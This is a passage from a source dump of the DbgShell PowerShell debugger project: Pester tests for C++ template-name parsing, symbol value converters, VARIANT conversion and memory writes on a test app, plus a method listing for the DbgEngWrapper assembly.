'std::pair' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $typeName1 = 'std::map,std::pair,std::less >,std::allocator const ,std::pair > > >' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'std::map,std::pair,std::less>,std::allocator,std::pair>>>' $ti1.TemplateName | Should Be 'std::map' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $true $ti1.HasConst | Should Be $false } It "can deal with references" { $typeName1 = 'std::pair,std::allocator > const ,std::function,std::allocator >,std::allocator,std::allocator > > > &)> > const &' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false # because references are not templates (they're just like pointers) $ti1.FullName | Should Be 'std::pair,std::allocator > const ,std::function,std::allocator >,std::allocator,std::allocator > > > &)> > const &' $ti1.TemplateName | Should Be 'std::pair,std::allocator > const ,std::function,std::allocator >,std::allocator,std::allocator > > > &)> > const &' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $ti1.HasConst | Should Be $false # it looks like it has const, but HasConst is only for actual templates $typeName1 = 'std::vector,std::allocator >,std::allocator,std::allocator > > > &' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false # because references are not templates (they're just like pointers) $ti1.FullName | Should Be 'std::vector,std::allocator >,std::allocator,std::allocator > > > &' $ti1.TemplateName | Should Be 'std::vector,std::allocator >,std::allocator,std::allocator > > > &' ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $ti1.HasConst | Should Be $false # it looks like it has const, but HasConst is only for actual templates } It "can deal with lambdas" { $typeName1 = 'Concurrency::details::__I?$_AsyncTaskGeneratorThunk@V@@PublicNonVirtuals' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $false # the lambda thing is not a template $ti1.FullName | Should Be $typeName1 $ti1.TemplateName | Should Be $typeName1 ([MS.Dbg.DbgTemplateNode]::LooksLikeATemplateName( $typeName1 )) | Should Be $false $typeName1 = 'Concurrency::details::_AsyncTaskGeneratorThunk< >' $ti1 = [MS.Dbg.DbgTemplateNode]::CrackTemplate( $typeName1 ) $ti1.IsTemplate | Should Be $true $ti1.FullName | Should Be 'Concurrency::details::_AsyncTaskGeneratorThunk<>' $ti1.TemplateName | Should Be 'Concurrency::details::_AsyncTaskGeneratorThunk' 1 | Should Be $ti1.Parameters.Count $ti1.Parameters[ 0 ].IsTemplate | Should Be $false # the lambda thing inside is not a template $ti1.Parameters[ 0 ].FullName | Should Be '' } It "throws if the multi-match wildcard doesn't come last" { [bool] $itThrew = $false try { # Can't use the multi-match wildcard ('?*') unless it comes last. $tiBad = [MS.Dbg.DbgTemplateNode]::CrackTemplate( 'std::basic_string,?,_STL70>' ) } catch { $itThrew = $true } $itThrew | Should Be $true } } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/TrickySymbolValueConversions.Tests.ps1 ================================================ Describe "TrickySymbolValueConversions" { Register-DbgValueConverterInfo { # First we're going to define converters for a set of nested types--each converter # just returns the single member of the next type in the nesting. New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing4' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_n3 } finally { } } # end 'TestNativeConsoleApp!NestingThing4' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing3' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_n2 } finally { } } # end 'TestNativeConsoleApp!NestingThing3' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing2' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_n1 } finally { } } # end 'TestNativeConsoleApp!NestingThing2' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing1' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_blah } finally { } } # end 'TestNativeConsoleApp!NestingThing1' converter # Now we'll do something similar, but for a set of types where each nesting type # also involves inheritance (so we intermix Derived Type Detection with the Symbol # Value Conversion). New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing4Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() # We follow pointers, else the pointerness sort of breaks up the symbol # history. return $stockValue.m_p3.DbgFollowPointers() } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing4Base' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing3Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_p2.DbgFollowPointers() } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing3Base' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing2Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_p1.DbgFollowPointers() } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing2Base' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing1Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_myInt } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing1Base' converter } pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow # If we don't have symbols, none of the other stuff will work very well... #Verify-AreEqual (Get-DbgModuleInfo TestNativeConsoleApp).SymbolType.ToString() 'PDB' try { It "can do nested Symbol Value Conversions" { $g = Get-DbgSymbol TestNativeConsoleApp!g_n4 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true $gv -eq 0x42 | Should Be $true $history = $gv.DbgGetSymbolHistory() $history.Count | Should Be 5 $history[ 1..4 ] | %{ ($_ -is [MS.Dbg.SvcRecord]) | Should Be $true } $history[ 0 ].OriginalSymbol.Name | Should Be 'm_blah' $history[ 1 ].OriginalSymbol.Name | Should Be 'm_n1' $history[ 2 ].OriginalSymbol.Name | Should Be 'm_n2' $history[ 3 ].OriginalSymbol.Name | Should Be 'm_n3' $history[ 4 ].OriginalSymbol.Name | Should Be 'g_n4' $history[ 0 ].OriginalSymbol.Type.Name | Should Be 'UInt4B' $history[ 1 ].OriginalSymbol.Type.Name | Should Be 'NestingThing1' $history[ 2 ].OriginalSymbol.Type.Name | Should Be 'NestingThing2' $history[ 3 ].OriginalSymbol.Type.Name | Should Be 'NestingThing3' $history[ 4 ].OriginalSymbol.Type.Name | Should Be 'NestingThing4' } It "can do nested Symbol Value Conversions mixed with Derived Type Detection" { $g = Get-DbgSymbol TestNativeConsoleApp!g_pDtdNestingThing4 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true $followed = $gv.DbgFollowPointers() $followed | Should Be 0x99 $history = $followed.DbgGetSymbolHistory() $history.Count | Should Be 9 $history[ 0 ].OriginalSymbol.Name | Should Be 'm_myInt' $history[ 1 ].OriginalSymbol.Name | Should Be '(*m_p1)' $history[ 2 ].OriginalSymbol.Name | Should Be '(*m_p1)' $history[ 3 ].OriginalSymbol.Name | Should Be '(*m_p2)' $history[ 4 ].OriginalSymbol.Name | Should Be '(*m_p2)' $history[ 5 ].OriginalSymbol.Name | Should Be '(*m_p3)' $history[ 6 ].OriginalSymbol.Name | Should Be '(*m_p3)' $history[ 7 ].OriginalSymbol.Name | Should Be '(*g_pDtdNestingThing4)' $history[ 8 ].OriginalSymbol.Name | Should Be '(*g_pDtdNestingThing4)' $history[ 0 ].OriginalSymbol.Type.Name | Should Be 'UInt4B' $history[ 1 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing1Derived' $history[ 2 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing1Base' $history[ 3 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing2Derived' $history[ 4 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing2Base' $history[ 5 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing3Derived' $history[ 6 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing3Base' $history[ 7 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing4Derived' $history[ 8 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing4Base' } } finally { .kill } PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/ValueConverterQueries.Tests.ps1 ================================================ Describe "ValueConverterQueries" { pushd It "can query for symbol value converters" { $converterInfos = [object[]] (Get-DbgValueConverterInfo) 0 | Should Not Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 2 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 2 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 1 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 1 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector' -ExactMatch) $converterInfos | Should BeNullOrEmpty $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector' -ExactMatch) 1 | Should Be $converterInfos.Count ([string]::IsNullOrEmpty( $converterInfos[ 0 ].ScopingModule )) | Should Be $true [bool] $itThrew = $false try { $converterInfos = [object[]] (Get-DbgValueConverterInfo -ExactMatch -ErrorAction Stop) } catch { $itThrew = $true } $itThrew | Should Be $true } popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/VariantConversion.Tests.ps1 ================================================ Describe "VariantConversion" { pushd It "can convert VARIANTs" { New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow # If we don't have symbols, none of the other stuff will work very well... #Verify-AreEqual (Get-DbgModuleInfo TestNativeConsoleApp).SymbolType.ToString() 'PDB' try { $g = Get-DbgSymbol TestNativeConsoleApp!g_hasVariants $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 21 | Should Be ($gv.v1) 21 | Should Be ($gv.v2) 0x123 | Should Be ($gv.v3.DbgGetPointee()) 0 | Should Be ([string]::Compare( $gv.v4, "This is my variant string.", [StringComparison]::Ordinal )) 0 | Should Be ([string]::Compare( $gv.v5.GetType().Name, "DbgNoValue", [StringComparison]::Ordinal )) } finally { .kill } } PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/WriteMem.Tests.ps1 ================================================ Describe "WriteMem" { pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow # Ignore the "symbol path is empty" warning. Set-DbgSymbolPath '' 3>&1 | Out-Null # 'csp': "call stack pointer" (processor-independent) $orig = dp $csp $memCommands = @( 'eb', 'ed', 'ep' ) foreach( $memCmd in $memCommands ) { It "can write memory with $memCmd" { # Write-Host '' # Write-Host "Trying command: $memCmd" -Fore Cyan # Write-Host '' $readCmd = $memCmd.Replace( 'e', 'd' ) & $memCmd $csp 90 # <-- N.B. no '0x' or '0n'; it should be interpreted as hex. 0x90 | Should Be ((& $readCmd $csp L1)[ 0 ]) & $memCmd $csp 0x90 0x90 | Should Be ((& $readCmd $csp L1)[ 0 ]) & $memCmd $csp 0n90 90 | Should Be ((& $readCmd $csp L1)[ 0 ]) & $memCmd $csp 90 90 # <-- N.B. no '0x' or '0n'; it should be interpreted as hex. $readback = & $readCmd $csp L2 0x90 | Should Be ($readback[ 0 ]) 0x90 | Should Be ($readback[ 1 ]) [bool] $itThrew = $false try { # This should result in a parameter binding error. & $memCmd $csp @( 90, 90 ) -ErrorAction Stop } catch { $itThrew = $true } $itThrew | Should Be $true $myBytes = New-Object 'System.byte[]' -arg @( 2 ) $myBytes[ 0 ] = 0x9a $myBytes[ 1 ] = 0x9b $itThrew = $false try { # This should result in a parameter binding error. & $memCmd $csp $myBytes -ErrorAction Stop } catch { $itThrew = $true } $itThrew | Should Be $true # This should work, but those are decimal (0n91, 0n92). & $memCmd $csp -Val @( 91, 92 ) $readback = & $readCmd $csp L2 0x5b | Should Be ($readback[ 0 ]) 0x5c | Should Be ($readback[ 1 ]) # This should work. & $memCmd $csp -Val $myBytes $readback = & $readCmd $csp L2 154 | Should Be ($readback[ 0 ]) 155 | Should Be ($readback[ 1 ]) } } # end foreach( $memCmd ) .kill popd } ================================================ FILE: DbgShell/x86/Debugger/DbgEngWrapper.dll.metagen ================================================ ImageRuntimeVersion: v4.0.30319 Assembly DbgEngWrapper, Version=1.0.*, Culture=Invariant Language (Invariant Country): hash=SHA1, flags=PublicKey Assembly mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Assembly Microsoft.Diagnostics.Runtime, Version=0.8.*, Culture=Invariant Language (Invariant Country): hash=None, flags=None Assembly System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Assembly System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Assembly System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: GetRaw(): PrivateScope, Public, HideBySig op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.TlPayload_Int: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Void .ctor(Int32): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Properties: Int32 HResult 'get set' : Methods: get_HResult(): PrivateScope, Public, HideBySig, SpecialName set_HResult(Int32): PrivateScope, Public, HideBySig, SpecialName Class DbgEngWrapper.WDebugClient: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugClient6*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Fields: System.Diagnostics.Tracing.EventSource g_log : Public, Static Methods: DebugCreate(WDebugClient&(Out)): PrivateScope, Public, Static, HideBySig DebugConnect(String, WDebugClient&(Out)): PrivateScope, Public, Static, HideBySig DisconnectProcessServer(UInt64): PrivateScope, Public, HideBySig GetRunningProcessSystemIds(UInt64, UInt32[]&(Out)): PrivateScope, Public, HideBySig AttachProcess(UInt64, UInt32 IsLong, DEBUG_ATTACH): PrivateScope, Public, HideBySig GetProcessOptions(DEBUG_PROCESS&(Out)): PrivateScope, Public, HideBySig AddProcessOptions(DEBUG_PROCESS): PrivateScope, Public, HideBySig RemoveProcessOptions(DEBUG_PROCESS): PrivateScope, Public, HideBySig SetProcessOptions(DEBUG_PROCESS): PrivateScope, Public, HideBySig ConnectSession(DEBUG_CONNECT_SESSION, UInt32 IsLong): PrivateScope, Public, HideBySig TerminateProcesses(): PrivateScope, Public, HideBySig DetachProcesses(): PrivateScope, Public, HideBySig EndSession(DEBUG_END): PrivateScope, Public, HideBySig GetExitCode(UInt32&(Out)): PrivateScope, Public, HideBySig DispatchCallbacks(UInt32 IsLong): PrivateScope, Public, HideBySig ExitDispatch(WDebugClient): PrivateScope, Public, HideBySig CreateClient(WDebugClient&(Out)): PrivateScope, Public, HideBySig GetInputCallbacks(IntPtr&(Out)): PrivateScope, Public, HideBySig SetInputCallbacks(IDebugInputCallbacksImp): PrivateScope, Public, HideBySig GetOutputMask(DEBUG_OUTPUT&(Out)): PrivateScope, Public, HideBySig SetOutputMask(DEBUG_OUTPUT): PrivateScope, Public, HideBySig GetOtherOutputMask(WDebugClient, DEBUG_OUTPUT&(Out)): PrivateScope, Public, HideBySig SetOtherOutputMask(WDebugClient, DEBUG_OUTPUT): PrivateScope, Public, HideBySig GetOutputWidth(UInt32&(Out)): PrivateScope, Public, HideBySig SetOutputWidth(UInt32 IsLong): PrivateScope, Public, HideBySig FlushCallbacks(): PrivateScope, Public, HideBySig EndProcessServer(UInt64): PrivateScope, Public, HideBySig WaitForProcessServerEnd(UInt32 IsLong): PrivateScope, Public, HideBySig IsKernelDebuggerEnabled(): PrivateScope, Public, HideBySig TerminateCurrentProcess(): PrivateScope, Public, HideBySig DetachCurrentProcess(): PrivateScope, Public, HideBySig AbandonCurrentProcess(): PrivateScope, Public, HideBySig GetRunningProcessSystemIdByExecutableNameWide(UInt64, String, DEBUG_GET_PROC, UInt32&(Out)): PrivateScope, Public, HideBySig GetRunningProcessDescriptionWide(UInt64, UInt32 IsLong, DEBUG_PROC_DESC, String&(Out), String&(Out)): PrivateScope, Public, HideBySig CreateProcessWide(UInt64, String, DEBUG_CREATE_PROCESS): PrivateScope, Public, HideBySig CreateProcessAndAttachWide(UInt64, String, DEBUG_CREATE_PROCESS, UInt32 IsLong, DEBUG_ATTACH): PrivateScope, Public, HideBySig OpenDumpFileWide(String, UInt64): PrivateScope, Public, HideBySig WriteDumpFileWide(String, UInt64, DEBUG_DUMP, DEBUG_FORMAT, String): PrivateScope, Public, HideBySig AddDumpInformationFileWide(String, UInt64, DEBUG_DUMP_FILE): PrivateScope, Public, HideBySig GetNumberDumpFiles(UInt32&(Out)): PrivateScope, Public, HideBySig GetDumpFileWide(UInt32 IsLong, String&(Out), UInt64&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig AttachKernelWide(DEBUG_ATTACH, String): PrivateScope, Public, HideBySig GetKernelConnectionOptionsWide(String&(Out)): PrivateScope, Public, HideBySig SetKernelConnectionOptionsWide(String): PrivateScope, Public, HideBySig StartProcessServerWide(DEBUG_CLASS, String, IntPtr): PrivateScope, Public, HideBySig ConnectProcessServerWide(String, UInt64&(Out)): PrivateScope, Public, HideBySig StartServerWide(String): PrivateScope, Public, HideBySig OutputServersWide(DEBUG_OUTCTL, String, DEBUG_SERVERS): PrivateScope, Public, HideBySig GetOutputCallbacksWide(IntPtr&(Out)): PrivateScope, Public, HideBySig SetOutputCallbacksWide(IDebugOutputCallbacksImp(In)): PrivateScope, Public, HideBySig GetOutputLinePrefixWide(String&(Out)): PrivateScope, Public, HideBySig SetOutputLinePrefixWide(String): PrivateScope, Public, HideBySig GetIdentityWide(String&(Out)): PrivateScope, Public, HideBySig OutputIdentityWide(DEBUG_OUTCTL, UInt32 IsLong, String): PrivateScope, Public, HideBySig GetEventCallbacksWide(IntPtr&(Out)): PrivateScope, Public, HideBySig SetEventCallbacksWide(IDebugEventCallbacksWideImp): PrivateScope, Public, HideBySig CreateProcess2Wide(UInt64, String, DEBUG_CREATE_PROCESS_OPTIONS&, String, String): PrivateScope, Public, HideBySig CreateProcessAndAttach2Wide(UInt64, String, DEBUG_CREATE_PROCESS_OPTIONS*, String, String, UInt32 IsLong, DEBUG_ATTACH): PrivateScope, Public, HideBySig PushOutputLinePrefixWide(String, UInt64&(Out)): PrivateScope, Public, HideBySig PopOutputLinePrefix(UInt64): PrivateScope, Public, HideBySig GetNumberInputCallbacks(UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberOutputCallbacks(UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberEventCallbacks(DEBUG_EVENT, UInt32&(Out)): PrivateScope, Public, HideBySig GetQuitLockStringWide(String&(Out)): PrivateScope, Public, HideBySig SetQuitLockStringWide(String): PrivateScope, Public, HideBySig SetEventContextCallbacks(IDebugEventContextCallbacksImp): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: GetRaw(): PrivateScope, Public, HideBySig Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugBreakpoint: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Methods: GetId(UInt32&(Out)): PrivateScope, Public, HideBySig GetType(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetAdder(WDebugClient&(Out)): PrivateScope, Public, HideBySig GetFlags(DEBUG_BREAKPOINT_FLAG&(Out)): PrivateScope, Public, HideBySig AddFlags(DEBUG_BREAKPOINT_FLAG): PrivateScope, Public, HideBySig RemoveFlags(DEBUG_BREAKPOINT_FLAG): PrivateScope, Public, HideBySig SetFlags(DEBUG_BREAKPOINT_FLAG): PrivateScope, Public, HideBySig GetOffset(UInt64&(Out)): PrivateScope, Public, HideBySig SetOffset(UInt64): PrivateScope, Public, HideBySig GetDataParameters(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig SetDataParameters(UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, HideBySig GetPassCount(UInt32&(Out)): PrivateScope, Public, HideBySig SetPassCount(UInt32 IsLong): PrivateScope, Public, HideBySig GetCurrentPassCount(UInt32&(Out)): PrivateScope, Public, HideBySig GetMatchThreadId(UInt32&(Out)): PrivateScope, Public, HideBySig SetMatchThreadId(UInt32 IsLong): PrivateScope, Public, HideBySig GetParameters(DEBUG_BREAKPOINT_PARAMETERS&(Out)): PrivateScope, Public, HideBySig GetCommandWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetCommandWide(String&(Out)): PrivateScope, Public, HideBySig SetCommandWide(String): PrivateScope, Public, HideBySig GetOffsetExpressionWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetOffsetExpressionWide(String&(Out)): PrivateScope, Public, HideBySig SetOffsetExpressionWide(String): PrivateScope, Public, HideBySig GetGuid(Guid&(Out)): PrivateScope, Public, HideBySig AbandonInterface(): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugControl: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugControl6*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetInterrupt(): PrivateScope, Public, HideBySig SetInterrupt(DEBUG_INTERRUPT(In)): PrivateScope, Public, HideBySig GetInterruptTimeout(UInt32&(Out)): PrivateScope, Public, HideBySig SetInterruptTimeout(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetDisassembleEffectiveOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetNearInstruction(UInt64(In), Int32(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetDebuggeeType(DEBUG_CLASS&(Out), DEBUG_CLASS_QUALIFIER&(Out)): PrivateScope, Public, HideBySig GetActualProcessorType(IMAGE_FILE_MACHINE&(Out)): PrivateScope, Public, HideBySig GetExecutingProcessorType(IMAGE_FILE_MACHINE&(Out)): PrivateScope, Public, HideBySig GetNumberProcessors(UInt32&(Out)): PrivateScope, Public, HideBySig IsPointer64Bit(): PrivateScope, Public, HideBySig GetEffectiveProcessorType(IMAGE_FILE_MACHINE&(Out)): PrivateScope, Public, HideBySig SetEffectiveProcessorType(IMAGE_FILE_MACHINE(In)): PrivateScope, Public, HideBySig GetExecutionStatus(DEBUG_STATUS&(Out)): PrivateScope, Public, HideBySig SetExecutionStatus(DEBUG_STATUS(In)): PrivateScope, Public, HideBySig GetCodeLevel(DEBUG_LEVEL&(Out)): PrivateScope, Public, HideBySig SetCodeLevel(DEBUG_LEVEL(In)): PrivateScope, Public, HideBySig GetEngineOptions(DEBUG_ENGOPT&(Out)): PrivateScope, Public, HideBySig AddEngineOptions(DEBUG_ENGOPT(In)): PrivateScope, Public, HideBySig RemoveEngineOptions(DEBUG_ENGOPT(In)): PrivateScope, Public, HideBySig SetEngineOptions(DEBUG_ENGOPT(In)): PrivateScope, Public, HideBySig GetSystemErrorControl(ERROR_LEVEL&(Out), ERROR_LEVEL&(Out)): PrivateScope, Public, HideBySig SetSystemErrorControl(ERROR_LEVEL(In), ERROR_LEVEL(In)): PrivateScope, Public, HideBySig GetNumberBreakpoints(UInt32&(Out)): PrivateScope, Public, HideBySig GetBreakpointParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_BREAKPOINT_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetBreakpointParameters(UInt32[](In), DEBUG_BREAKPOINT_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig RemoveExtension(UInt64(In)): PrivateScope, Public, HideBySig GetNumberEventFilters(UInt32&(Out), UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetSpecificFilterParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_SPECIFIC_FILTER_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetExceptionFilterParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_EXCEPTION_FILTER_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetExceptionFilterParameters(UInt32[](In), DEBUG_EXCEPTION_FILTER_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig WaitForEvent(DEBUG_WAIT(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig GetDumpFormatFlags(DEBUG_FORMAT&(Out)): PrivateScope, Public, HideBySig GetNumberTextReplacements(UInt32&(Out)): PrivateScope, Public, HideBySig RemoveTextReplacements(): PrivateScope, Public, HideBySig GetAssemblyOptions(DEBUG_ASMOPT&(Out)): PrivateScope, Public, HideBySig AddAssemblyOptions(DEBUG_ASMOPT(In)): PrivateScope, Public, HideBySig RemoveAssemblyOptions(DEBUG_ASMOPT(In)): PrivateScope, Public, HideBySig SetAssemblyOptions(DEBUG_ASMOPT(In)): PrivateScope, Public, HideBySig ControlledOutputWide(DEBUG_OUTCTL(In), DEBUG_OUTPUT(In), String(In)): PrivateScope, Public, HideBySig DisassembleWide(UInt64(In), DEBUG_DISASM(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig ExecuteWide(DEBUG_OUTCTL(In), String(In), DEBUG_EXECUTE(In)): PrivateScope, Public, HideBySig GetBreakpointByIndex2(UInt32(In) IsLong, WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig GetBreakpointById2(UInt32(In) IsLong, WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig AddBreakpoint2(DEBUG_BREAKPOINT_TYPE(In), UInt32(In) IsLong, WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig RemoveBreakpoint2(WDebugBreakpoint(In)): PrivateScope, Public, HideBySig AddExtensionWide(String(In), UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetExtensionByPathWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig CallExtensionWide(UInt64(In), String(In), String(In)): PrivateScope, Public, HideBySig GetExtensionFunctionWide(UInt64(In), String(In), IntPtr&(Out)): PrivateScope, Public, HideBySig GetEventFilterTextWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetEventFilterCommandWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig SetEventFilterCommandWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig GetSpecificFilterArgumentWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig SetSpecificFilterArgumentWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig GetExceptionFilterSecondCommandWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetLastEventInformationWide(DEBUG_EVENT&(Out), UInt32&(Out), UInt32&(Out), DEBUG_LAST_EVENT_INFO&(Out), String&(Out)): PrivateScope, Public, HideBySig GetTextReplacementWide(String(In), String&(Out)): PrivateScope, Public, HideBySig GetTextReplacementWide(UInt32(In) IsLong, String&(Out), String&(Out)): PrivateScope, Public, HideBySig SetTextReplacementWide(String(In), String(In)): PrivateScope, Public, HideBySig GetStackTraceEx(UInt64(In), UInt64(In), UInt64(In), Int32(In), DEBUG_STACK_FRAME_EX[]&(Out)): PrivateScope, Public, HideBySig GetStackTraceEx(UInt64(In), UInt64(In), UInt64(In), DEBUG_STACK_FRAME_EX[]&(Out)): PrivateScope, Public, HideBySig GetBreakpointByGuid(Guid(In), WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig GetExecutionStatusEx(DEBUG_STATUS&(Out)): PrivateScope, Public, HideBySig GetSynchronizationStatus(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugSystemObjects: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugSystemObjects4*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetEventThread(UInt32&(Out)): PrivateScope, 